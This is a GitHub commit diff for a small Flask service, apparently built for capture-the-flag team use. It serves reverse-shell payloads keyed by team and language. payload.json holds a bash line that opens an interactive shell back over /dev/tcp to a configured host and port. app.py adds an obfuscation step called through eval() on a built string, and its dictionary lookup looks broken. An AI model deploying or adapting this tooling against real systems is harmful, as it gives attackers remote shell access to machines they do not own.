Skip to content

Commit 5222ada

Browse files
committed
Improve structure.
1 parent 7f992a4 commit 5222ada

File tree

5 files changed

+28
-27
lines changed

5 files changed

+28
-27
lines changed

app.py

Lines changed: 14 additions & 19 deletions
Original file line numberDiff line numberDiff line change
@@ -1,41 +1,36 @@
1-
import json
1+
import json, obfuscator
22
from flask import Flask, request, Response
33

4-
54
app = Flask(__name__)
65

76
DEFAULT_LANGUAGE = 'bash'
87
DEFAULT_OBFUSCATE = False
9-
DEFAULT_HOST = '127.0.0.1'
10-
DEFAULT_PORT = '8787'
118

129
@app.route('/', methods=['GET'], defaults={'team_id': None, 'language': None, 'return_raw': None})
1310
@app.route('/<team_id>', methods=['GET'], defaults={'language': None, 'return_raw': None})
1411
@app.route('/<team_id>/<language>', methods=['GET'], defaults={'return_raw': None})
1512
@app.route('/<team_id>/<language>/<return_raw>', methods=['GET'])
13+
1614
def get_reverse_shell_code(team_id, language, return_raw):
1715
with open('payload.json', 'r') as f:
1816
payload = json.loads(f.read())
1917

20-
with open('team.json', 'r') as f:
21-
team = json.loads(f.read())
18+
with open('teams.json', 'r') as f:
19+
teams = json.loads(f.read())
2220

23-
if team_id and team_id in team:
24-
host = team[team_id]['host']
25-
port = team[team_id]['port']
26-
else:
27-
host = DEFAULT_HOST
28-
port = DEFAULT_PORT
21+
if not team_id in teams:
22+
team_id = 'default'
23+
host = teams[team_id]['host']
24+
port = teams[team_id]['port']
2925

30-
if not language or language not in payload:
26+
if language not in payload:
3127
language = DEFAULT_LANGUAGE
3228

33-
if return_raw:
34-
code = payload[language]['raw']
35-
else:
36-
code = payload[language]['obfuscate'] if DEFAULT_OBFUSCATE else payload[language]['raw']
37-
# I don't know how to replace HOST and PORT in obfuscated code QQ
38-
return Response(code.format(HOST=host, PORT=port), mimetype='text/plain')
29+
code = payload[language]['raw'].format(HOST=host, PORT=port)
30+
if not return_raw:
31+
code = eval('obfuscator.' + payload[language][obfuscator])(code)
32+
33+
return Response(code, mimetype='text/plain')
3934

4035
if __name__ == '__main__':
4136
# TODO: setup with argv

obfuscator.py

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,2 @@
1+
def default(payload):
2+
return payload

payload.json

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,6 @@
11
{
22
"sh": {
33
"raw": "/bin/bash -c '/bin/bash -i >& /dev/tcp/{HOST}/{PORT} 0>&1'",
4-
"obfuscate": ""
4+
"obfuscator": "default"
55
}
6-
}
6+
}

team.json

Lines changed: 0 additions & 6 deletions
This file was deleted.

teams.json

Lines changed: 10 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,10 @@
1+
{
2+
"default": {
3+
"host": "127.0.0.1",
4+
"port": "8787"
5+
},
6+
"1": {
7+
"host": "127.0.0.1",
8+
"port": "8787"
9+
}
10+
}

0 commit comments

Comments
 (0)